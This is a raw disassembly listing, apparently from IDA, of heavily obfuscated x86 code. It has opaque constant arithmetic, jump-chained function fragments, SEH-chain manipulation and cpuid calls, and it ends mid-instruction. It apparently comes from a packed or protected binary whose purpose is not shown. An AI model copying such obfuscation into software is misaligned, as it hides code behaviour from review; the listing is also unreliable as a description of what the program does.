--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F9CA loc_425A67: ; CODE XREF: sub_42F9CA-B809j jmp loc_42E5CD ; END OF FUNCTION CHUNK FOR sub_42F9CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A467 loc_425A6C: ; CODE XREF: sub_42A467-3137j jz loc_4247A2 jmp loc_426E30 ; END OF FUNCTION CHUNK FOR sub_42A467 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_39. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4267AE loc_425A78: ; CODE XREF: sub_4267AE+11j jmp loc_426C6B ; END OF FUNCTION CHUNK FOR sub_4267AE ; --------------------------------------------------------------------------- locret_425A7D: ; CODE XREF: wto1jq8f:00427E4Bj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4240DC loc_425A7E: ; CODE XREF: sub_4240DC+3089j jmp loc_42F728 ; END OF FUNCTION CHUNK FOR sub_4240DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A14D loc_425A83: ; CODE XREF: sub_42A14D+882j mov ebx, edi xor edx, edi jmp loc_425ED2 ; END OF FUNCTION CHUNK FOR sub_42A14D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_425A8C: ; CODE XREF: sub_426535:loc_4265DBj push esi push 0FB86F344h pop esi xor esi, 0FB86F344h jmp loc_424051 ; END OF FUNCTION CHUNK FOR sub_426535 ; =============== S U B R O U T I N E ======================================= sub_425A9E proc near ; DATA XREF: wto1jq8f:0042FF51o ; FUNCTION CHUNK AT 00425EBD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427CD3 SIZE 00000005 BYTES mov eax, [ebp-8] push eax mov eax, [ebp-30h] jmp loc_427CD3 sub_425A9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425AAA proc near ; CODE XREF: sub_4266EFj push ebp mov ebp, esp jmp sub_4285AF sub_425AAA endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A6CD loc_425AB2: ; CODE XREF: sub_42A6CD+222Aj pop edx add edx, 0BFF24F50h loc_425AB9: ; CODE XREF: wto1jq8f:loc_42B2A2j rol edx, 17h add edx, 4D3C0B30h xchg edx, [esp-4+arg_0] jmp loc_42CCE8 ; END OF FUNCTION CHUNK FOR sub_42A6CD ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_425ACB proc near ; CODE XREF: wto1jq8f:loc_42665Ej ; sub_42F59F+4p var_4 = dword ptr -4 push ecx mov [esp+4+var_4], eax push edx sub_425ACB endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42A6CD loc_425AD0: ; CODE XREF: sub_42A6CD:loc_42BCDBj push 2B1C946Ch pop edx jmp loc_42D595 ; END OF FUNCTION CHUNK FOR sub_42A6CD ; --------------------------------------------------------------------------- sbb ecx, 3E57B4A0h jmp loc_42FFB5 ; --------------------------------------------------------------------------- loc_425AE6: ; CODE XREF: wto1jq8f:loc_42F4AAj xchg esi, [edx] sbb ebx, 870B4F13h shl eax, 14h shr ebp, 14h jmp loc_42863C ; --------------------------------------------------------------------------- loc_425AF9: ; CODE XREF: wto1jq8f:0042D1E1j ja loc_424F5F jmp loc_42A8C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D8D loc_425B04: ; CODE XREF: sub_427D8D:loc_42F1D8j xor ebx, 1FB2E210h add ebx, 7CA0ED67h push offset loc_42EDEE jmp loc_429566 ; END OF FUNCTION CHUNK FOR sub_427D8D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FFDE loc_425B1A: ; CODE XREF: sub_42FFDE+15j call sub_4282C1 loc_425B1F: ; CODE XREF: wto1jq8f:00426363j jmp nullsub_197 ; END OF FUNCTION CHUNK FOR sub_42FFDE ; --------------------------------------------------------------------------- mov [edx], ecx cmp ecx, 331B89Fh jmp loc_4299E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F2C7 loc_425B31: ; CODE XREF: sub_42F2C7-7D94j jo locret_42A728 xor eax, edi add eax, ebp cdq push 0D6420EAAh jmp loc_425E1B ; END OF FUNCTION CHUNK FOR sub_42F2C7 ; =============== S U B R O U T I N E ======================================= sub_425B46 proc near ; CODE XREF: wto1jq8f:00426323p ; wto1jq8f:0042A968j ; FUNCTION CHUNK AT 0042E57F SIZE 0000000A BYTES mov [esp+0], ebx pop ebx call sub_429165 push eax jmp loc_42E57F sub_425B46 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_425B55: ; CODE XREF: wto1jq8f:0042BAB1j test ebx, eax jmp loc_427271 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_227. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A7E2 loc_425B5D: ; CODE XREF: sub_42A7E2+8j jmp nullsub_113 ; END OF FUNCTION CHUNK FOR sub_42A7E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A3EB loc_425B62: ; CODE XREF: sub_42A3EB:loc_42E039j pop ecx push 0C04AF4C7h mov [esp+0], ebp lea eax, [ebp-4] jmp loc_428D05 ; END OF FUNCTION CHUNK FOR sub_42A3EB ; --------------------------------------------------------------------------- loc_425B73: ; CODE XREF: wto1jq8f:loc_4271D2j jnz loc_42CD03 jmp loc_42F55E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F81B loc_425B7E: ; CODE XREF: sub_42F81B:loc_42E2F0j rol eax, 19h mov ds:dword_42E534, eax jmp nullsub_177 ; END OF FUNCTION CHUNK FOR sub_42F81B ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425B8C proc near ; CODE XREF: sub_4245B5j ; FUNCTION CHUNK AT 0042D9C9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EBC0 SIZE 0000000A BYTES push ebp mov ebp, esp push ecx mov esp, ebp jmp loc_42EBC0 sub_425B8C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D882 loc_425B97: ; CODE XREF: sub_42D882:loc_42E641j xor edx, 1D3A558Eh push edx loc_425B9E: ; CODE XREF: wto1jq8f:loc_42E4D5j pushf loc_425B9F: ; CODE XREF: sub_4244EA:loc_42DB8Cj push 0E2CCF7EEh pop edx add edx, 1D75FFD1h popf xchg edx, [esp+4+var_4] jmp sub_429165 ; END OF FUNCTION CHUNK FOR sub_42D882 ; =============== S U B R O U T I N E ======================================= sub_425BB4 proc near ; CODE XREF: sub_428295:loc_42E989j var_14 = dword ptr -14h add esp, 0FFFFFFF0h push ecx push 0D5D140A8h pop ecx xor ecx, 0F3B1FE41h loc_425BC4: ; CODE XREF: sub_42E9E8:loc_42B0DDj add ecx, 0D9E184D2h xchg ecx, [esp+14h+var_14] jmp loc_426D8F sub_425BB4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_425BD2: ; CODE XREF: sub_42C486+15AAj jp loc_42D42C push 70F2BF4Ch loc_425BDD: ; CODE XREF: sub_42C486:loc_42CBABj mov eax, [ebp-0Ch] neg eax sbb eax, eax neg eax mov [ebp-5], al ; END OF FUNCTION CHUNK FOR sub_42C486 ; START OF FUNCTION CHUNK FOR sub_42D789 loc_425BE9: ; CODE XREF: sub_427143:loc_4261EEj ; sub_42C486:loc_4276B5j ... push offset loc_42B584 jmp loc_42D760 ; END OF FUNCTION CHUNK FOR sub_42D789 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424F7A loc_425BF3: ; CODE XREF: sub_424F7A+8483j call sub_42E8D0 loc_425BF8: ; CODE XREF: sub_427488+Cj jmp loc_42837A ; END OF FUNCTION CHUNK FOR sub_424F7A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424DA0 loc_425BFD: ; CODE XREF: sub_424DA0+12j jmp loc_42F1AD ; END OF FUNCTION CHUNK FOR sub_424DA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F6A9 loc_425C02: ; CODE XREF: sub_42F6A9:loc_42E9CFj jnz loc_42A117 jmp loc_42DE11 ; END OF FUNCTION CHUNK FOR sub_42F6A9 ; =============== S U B R O U T I N E ======================================= sub_425C0D proc near ; DATA XREF: sub_426350+9A32o test eax, eax jl loc_4278D6 inc eax mov [ebp-1Ch], eax push offset sub_4290CF jmp loc_42735C sub_425C0D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428AE5 loc_425C23: ; CODE XREF: sub_428AE5:loc_4271DCj add edx, 0B79F8594h call sub_429165 push edi push 5B4259E3h pop edi sub edi, 0A80C762Ah jmp loc_424929 ; END OF FUNCTION CHUNK FOR sub_428AE5 ; =============== S U B R O U T I N E ======================================= sub_425C40 proc near ; CODE XREF: sub_426437p ; wto1jq8f:00428171j ; FUNCTION CHUNK AT 00427176 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042A712 SIZE 00000005 BYTES mov [esp+0], esi pop esi push ebp mov ebp, esp push ecx jmp loc_42A712 sub_425C40 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_425C4D: ; CODE XREF: sub_42E9E8:loc_426931j call sub_4245B5 test eax, eax jz loc_425F96 jmp loc_42B752 ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; =============== S U B R O U T I N E ======================================= sub_425C5F proc near ; CODE XREF: sub_429308:loc_4241A3p ; wto1jq8f:loc_42BD8Ej xchg ecx, [esp+0] pop ecx xor ebx, 7A432D44h call sub_42B5C9 loc_425C6E: ; CODE XREF: sub_429459:loc_42C18Dj add edx, eax pop eax mov [edx], eax push offset loc_425D35 jmp nullsub_17 sub_425C5F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429B76 loc_425C7D: ; CODE XREF: sub_429B76:loc_42A022j test al, al jz loc_42F168 jmp loc_42ED3C ; END OF FUNCTION CHUNK FOR sub_429B76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_425C8A: ; CODE XREF: sub_42A909+8j ; wto1jq8f:loc_42E331j jnz loc_42A93A jmp loc_42D23E ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- xchg ebx, [ecx] jmp loc_42A48B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4266B1 loc_425C9C: ; CODE XREF: sub_4266B1:loc_4259AEj ; sub_4266B1+4BE1j call sub_424585 mov edx, 0F75CA70h call sub_429165 push eax rol eax, 14h jmp loc_42FD66 ; END OF FUNCTION CHUNK FOR sub_4266B1 ; --------------------------------------------------------------------------- mov edx, 20413B0Fh push ebx push 8D363E9Bh pop ebx add ebx, 730C0911h xchg ebx, [esp] jmp sub_429165 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4240DC loc_425CCE: ; CODE XREF: sub_4240DC:loc_428106j add edx, 4942BCA2h add eax, edx pop edx push eax call sub_426456 jmp loc_42C2CD ; END OF FUNCTION CHUNK FOR sub_4240DC ; =============== S U B R O U T I N E ======================================= sub_425CE2 proc near ; DATA XREF: sub_425CE2+5D5Bo arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042778D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429263 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0042948B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00429868 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042BA3A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042C878 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042CA26 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D6E3 SIZE 0000000C BYTES cdq jno loc_429868 add eax, [esp+0] adc edx, [esp+arg_0] call sub_4260A9 sub_425CE2 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_4266B1 loc_425CF5: ; CODE XREF: sub_4266B1+3FA2j jmp loc_428F32 ; END OF FUNCTION CHUNK FOR sub_4266B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E5B2 loc_425CFA: ; CODE XREF: sub_42E5B2-99BEj jmp sub_42E5B2 ; END OF FUNCTION CHUNK FOR sub_42E5B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42506F loc_425CFF: ; CODE XREF: sub_42506F+7510j jz loc_427ACE jmp loc_42EB2A ; END OF FUNCTION CHUNK FOR sub_42506F ; =============== S U B R O U T I N E ======================================= sub_425D0A proc near ; DATA XREF: sub_42D9B0:loc_429628o mov eax, [ebp-8] pop ecx pop ecx loc_425D0F: ; CODE XREF: sub_42FFBA-6EA5j pop ebp retn sub_425D0A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B35E loc_425D11: ; CODE XREF: sub_42B35E+303Dj jmp loc_42A007 ; END OF FUNCTION CHUNK FOR sub_42B35E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9B0 loc_425D16: ; CODE XREF: sub_42D9B0:loc_42961Fj mov eax, [ebp+8] jmp loc_42F4C2 ; END OF FUNCTION CHUNK FOR sub_42D9B0 ; --------------------------------------------------------------------------- loc_425D1E: ; CODE XREF: wto1jq8f:0042FDEEj pop edi and edi, 2CAE1696h xor edi, 0CE292AEh push offset sub_42B909 jmp loc_42B57F ; --------------------------------------------------------------------------- loc_425D35: ; DATA XREF: sub_425C5F+14o xchg edi, [esp] mov edx, edi pop edi cmp dword ptr [ebp-8], 0 jz loc_424183 jmp loc_42B60A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260DB loc_425D4A: ; CODE XREF: sub_4260DB:loc_42D98Dj mov dword ptr [eax], 6C43776Fh push 0F167B38Ah pop eax and eax, 691F9306h jmp loc_426DE5 ; END OF FUNCTION CHUNK FOR sub_4260DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F614 loc_425D61: ; CODE XREF: sub_42F614-3AC1j jz nullsub_114 loc_425D67: ; CODE XREF: sub_42F614:loc_427FC2j mov eax, [ebp-4] call sub_428183 loc_425D6F: ; CODE XREF: wto1jq8f:0042E954j jmp nullsub_217 ; END OF FUNCTION CHUNK FOR sub_42F614 ; --------------------------------------------------------------------------- jmp loc_42D73B ; --------------------------------------------------------------------------- loc_425D79: ; CODE XREF: wto1jq8f:004291C9j xor edx, edx push offset sub_429816 jmp loc_424FDD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EFB5 loc_425D85: ; CODE XREF: sub_42EFB5-5810j jns loc_428A4E loc_425D8B: ; CODE XREF: wto1jq8f:loc_4261D2j push edx push 5DCD6CAAh pop edx add edx, 0A2757410h jmp loc_42B83B ; END OF FUNCTION CHUNK FOR sub_42EFB5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42760F loc_425D9D: ; CODE XREF: sub_42760F+68D9j mov [ebp-4], eax cmp dword ptr [ebp-4], 0 push offset loc_424B2B jmp nullsub_114 ; END OF FUNCTION CHUNK FOR sub_42760F ; --------------------------------------------------------------------------- pushf jmp sub_428BF4 ; --------------------------------------------------------------------------- test al, al jz loc_42E1F6 jmp loc_42EE2D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B31F loc_425DC1: ; CODE XREF: sub_42B31F+10j add edx, 72FEA6E2h call loc_426EA9 ; END OF FUNCTION CHUNK FOR sub_42B31F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_151. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- mov [ebx], ecx jmp loc_427140 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AAC3 loc_425DD4: ; CODE XREF: sub_42AAC3+6j push 3680FD5h pop eax add eax, 0FCDAE0C3h mov eax, [eax] or eax, eax jnz loc_426447 jmp loc_42AC4A ; END OF FUNCTION CHUNK FOR sub_42AAC3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_56. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_425DF0 proc near ; CODE XREF: sub_425E35:loc_42EEE7p ; FUNCTION CHUNK AT 0042478A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427851 SIZE 0000000D BYTES mov eax, large fs:0 loc_425DF7: ; CODE XREF: sub_425DF0+15j ; wto1jq8f:00428CB0j js loc_427851 cmp dword ptr [eax], 0FFFFFFFFh mov ebx, [eax+4] mov eax, [eax] jnz loc_425DF7 jmp loc_42478A sub_425DF0 endp ; --------------------------------------------------------------------------- loc_425E10: ; CODE XREF: wto1jq8f:loc_424B3Dj xor eax, 0A6362327h jmp loc_42CD43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F2C7 loc_425E1B: ; CODE XREF: sub_42F2C7-9786j ; wto1jq8f:loc_42E629j cmp ebx, 69727943h jnz loc_4248DF jmp loc_429254 ; END OF FUNCTION CHUNK FOR sub_42F2C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F9AC loc_425E2C: ; CODE XREF: sub_42F9AC+11j pop edx pop ecx pop ebx retn ; END OF FUNCTION CHUNK FOR sub_42F9AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426806 loc_425E30: ; CODE XREF: sub_426806+1195j jmp loc_4296C0 ; END OF FUNCTION CHUNK FOR sub_426806 ; =============== S U B R O U T I N E ======================================= sub_425E35 proc near ; CODE XREF: sub_429E77+2p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042647D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00428244 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00429B0D SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00429C4A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AEFA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E0A8 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042E69B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042EEE7 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0042F46F SIZE 00000022 BYTES push large dword ptr fs:0 mov large fs:0, esp jmp loc_42AEFA sub_425E35 endp ; sp-analysis failed ; --------------------------------------------------------------------------- test al, al jz loc_42E993 ; START OF FUNCTION CHUNK FOR sub_42EDB9 loc_425E50: ; CODE XREF: sub_42EDB9-4A3Ej jmp loc_42F355 ; END OF FUNCTION CHUNK FOR sub_42EDB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_425E55: ; CODE XREF: sub_42C486:loc_42E435j jz loc_428361 jmp loc_427D7D ; END OF FUNCTION CHUNK FOR sub_42C486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A6CD loc_425E60: ; CODE XREF: sub_42EDB9:loc_4282E6j ; sub_42A6CD+2144j ... jno loc_42E79E push 0F5D6BA5Ah pop eax sub eax, 9A0BFC06h xor eax, ds:4000F1h add eax, 506193D3h jmp loc_42746B ; END OF FUNCTION CHUNK FOR sub_42A6CD ; --------------------------------------------------------------------------- or edi, eax jmp loc_4278BB ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_208. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F185 loc_425E8B: ; CODE XREF: sub_42F185+Fj jmp loc_42AF78 ; END OF FUNCTION CHUNK FOR sub_42F185 ; --------------------------------------------------------------------------- cmp edi, 1A961432h jmp loc_42F82A ; --------------------------------------------------------------------------- test eax, eax jnz loc_4279D2 jmp loc_42B722 ; =============== S U B R O U T I N E ======================================= sub_425EA8 proc near ; CODE XREF: wto1jq8f:0042D4BCj ; sub_426144+97C2p ; FUNCTION CHUNK AT 004296F6 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042A04F SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042F35B SIZE 00000005 BYTES xchg eax, [esp+0] pop eax add esp, 4 call sub_428310 loc_425EB4: ; CODE XREF: sub_429459-2A16j jmp loc_42A04F sub_425EA8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_425EB9 proc near ; DATA XREF: wto1jq8f:0042B617o push eax mov eax, [ebp-30h] sub_425EB9 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_425A9E loc_425EBD: ; CODE XREF: sub_425A9E:loc_427CD3j call sub_42E676 ; END OF FUNCTION CHUNK FOR sub_425A9E ; START OF FUNCTION CHUNK FOR sub_42E676 loc_425EC2: ; CODE XREF: sub_42E676-4674j jmp sub_42CA3D ; END OF FUNCTION CHUNK FOR sub_42E676 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_425EC7: ; CODE XREF: sub_42E9E8:loc_428802j jz loc_426BCD jmp loc_429898 ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A14D loc_425ED2: ; CODE XREF: sub_42A14D-46C6j ; sub_42A14D:loc_42A9C9j mov eax, 400h call sub_4243D7 mov [ebp-8], eax push offset loc_42B60F jmp nullsub_45 ; END OF FUNCTION CHUNK FOR sub_42A14D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42660F loc_425EE9: ; CODE XREF: sub_42660F:loc_42D5E9j jo loc_4264C0 mov ebp, esp call sub_427A9E mov eax, ds:dword_42A73C call sub_42D765 mov esp, ebp pop ebp push ds:dword_42A73C jmp nullsub_85 ; END OF FUNCTION CHUNK FOR sub_42660F ; --------------------------------------------------------------------------- xor ebp, esi jmp sub_42C786 ; --------------------------------------------------------------------------- push eax push eax call sub_42A5C4 ; START OF FUNCTION CHUNK FOR sub_426E98 loc_425F1C: ; CODE XREF: sub_426E98+F9j jmp loc_42B9A8 ; END OF FUNCTION CHUNK FOR sub_426E98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_425F21: ; CODE XREF: sub_429BFF-2E4Ej jmp loc_42D2A2 ; END OF FUNCTION CHUNK FOR sub_429BFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426FD6 loc_425F26: ; CODE XREF: sub_426FD6+27B7j cpuid add [esi], eax xor [esi], ebx add [esi], ecx xor [esi], edx mov eax, 80000004h jmp loc_42EDF6 ; END OF FUNCTION CHUNK FOR sub_426FD6 ; --------------------------------------------------------------------------- loc_425F3A: ; CODE XREF: wto1jq8f:0042C8CCj cmp ebp, eax jmp loc_42DA0B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262F5 loc_425F41: ; CODE XREF: sub_4262F5+86D4j add edx, 258AD326h xchg edx, [esp-8+arg_4] jmp loc_42B314 ; END OF FUNCTION CHUNK FOR sub_4262F5 ; =============== S U B R O U T I N E ======================================= sub_425F4F proc near ; CODE XREF: sub_42A4A5+7p ; sub_42628C+6ECAj ; FUNCTION CHUNK AT 004273AF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428E9C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00429638 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429F0A SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042AE44 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042CF4B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E2D4 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042E744 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042EAC0 SIZE 00000017 BYTES xchg eax, [esp+0] loc_425F52: ; CODE XREF: wto1jq8f:0042ACBEj pop eax mov eax, ds:dword_42D5E0 or eax, eax jmp loc_42CF4B sub_425F4F endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_171. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427143 loc_425F61: ; CODE XREF: wto1jq8f:loc_4261C7j ; wto1jq8f:0042A6C8j ... call sub_424585 mov edx, 9E849D81h call sub_429165 push eax rol eax, 19h jmp loc_42B964 ; END OF FUNCTION CHUNK FOR sub_427143 ; --------------------------------------------------------------------------- loc_425F79: ; DATA XREF: sub_42B5C9+6o pop ebx mov [edx], eax pop edx mov dword ptr [ebp-0Ch], 1 ; START OF FUNCTION CHUNK FOR sub_4282FE loc_425F84: ; CODE XREF: sub_42B840+Aj ; sub_4282FE:loc_42D520j lea eax, [ebp-14h] jmp loc_426FAE ; END OF FUNCTION CHUNK FOR sub_4282FE ; --------------------------------------------------------------------------- loc_425F8C: ; CODE XREF: wto1jq8f:0042C8D9j add eax, edi ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_425F8E: ; CODE XREF: sub_42E9E8-5B7Fj add al, ah and eax, 7 mov [ebp-4], eax loc_425F96: ; CODE XREF: sub_42E9E8-8D94j ; wto1jq8f:0042A8B5j jo loc_42C3A8 push offset loc_4293F0 jmp loc_42BBBE ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426719 loc_425FA6: ; CODE XREF: sub_426719:loc_42F37Ej mov eax, [ebp-10h] jmp loc_42B97A ; END OF FUNCTION CHUNK FOR sub_426719 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F2C7 loc_425FAE: ; CODE XREF: sub_42F2C7-46B4j or [ecx+edx], al mov eax, [ebp-0Ch] call sub_428A19 loc_425FB9: ; CODE XREF: sub_42D4FD+2B09j jmp loc_426821 ; END OF FUNCTION CHUNK FOR sub_42F2C7 ; --------------------------------------------------------------------------- loc_425FBE: ; CODE XREF: wto1jq8f:loc_42F207j mov edx, [ebx+ecx] ; START OF FUNCTION CHUNK FOR sub_42DCB4 loc_425FC1: ; CODE XREF: sub_42DCB4:loc_42FC5Ej xor edx, [ebx+ecx+4] cmp edx, 7C61090Eh jz loc_429526 loc_425FD1: ; CODE XREF: sub_42DCB4-6969j ; wto1jq8f:loc_42BA47j ... js loc_42950C or eax, eax jmp loc_428F11 ; END OF FUNCTION CHUNK FOR sub_42DCB4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4272F3 loc_425FDE: ; CODE XREF: sub_4272F3:loc_42AF73j mov eax, [eax+68h] test eax, 70h jz loc_424CA9 jmp loc_4299B2 ; END OF FUNCTION CHUNK FOR sub_4272F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4284EC loc_425FF1: ; CODE XREF: sub_4284EC+7A33j push 2E285DE2h sbb edx, 341D7FCCh sbb esi, 2D048CCCh loc_426002: ; CODE XREF: wto1jq8f:loc_42832Dj ; sub_4284EC:loc_42A18Cj call sub_424585 jmp loc_42ACCA ; END OF FUNCTION CHUNK FOR sub_4284EC ; --------------------------------------------------------------------------- locret_42600C: ; CODE XREF: wto1jq8f:loc_424FDDj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_42600D: ; CODE XREF: sub_42E9E8-1AEDj jmp sub_42BEF6 ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- loc_426012: ; DATA XREF: sub_4293C8+7o push ecx mov eax, esp push 0 mov edx, esp jmp loc_42635E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CF6A loc_42601E: ; CODE XREF: sub_42CF6A-8E30j xor edi, ebp loc_426020: ; CODE XREF: wto1jq8f:loc_42E217j push offset loc_42C5E7 jmp loc_428403 ; END OF FUNCTION CHUNK FOR sub_42CF6A ; --------------------------------------------------------------------------- loc_42602A: ; CODE XREF: wto1jq8f:0042CD57j jz loc_4269B2 ; START OF FUNCTION CHUNK FOR sub_42AEDD loc_426030: ; CODE XREF: sub_42AEDD+4CFDj jmp loc_42D0A2 ; END OF FUNCTION CHUNK FOR sub_42AEDD ; --------------------------------------------------------------------------- loc_426035: ; CODE XREF: wto1jq8f:0042744Bj jmp loc_4248DF ; --------------------------------------------------------------------------- sub eax, esi cdq pushf jmp loc_4269AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB63 loc_426043: ; CODE XREF: sub_42CB63:loc_42F8F0j pop ecx mov [ebp-20h], eax jmp loc_42C1CB ; END OF FUNCTION CHUNK FOR sub_42CB63 ; =============== S U B R O U T I N E ======================================= sub_42604C proc near ; CODE XREF: sub_42CB63-82A1p ; FUNCTION CHUNK AT 00429DF4 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042C10F SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042CE4E SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042DA75 SIZE 00000005 BYTES push ebp call sub_427218 loc_426052: ; CODE XREF: sub_426968+4E83j jmp loc_42C10F sub_42604C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F614 loc_426057: ; CODE XREF: sub_42F614+Ej mov eax, [ebp-8] push eax call sub_429642 cmp eax, 0FFFFFFFFh jmp loc_42F048 ; END OF FUNCTION CHUNK FOR sub_42F614 ; --------------------------------------------------------------------------- loc_426068: ; CODE XREF: wto1jq8f:00426114j mov 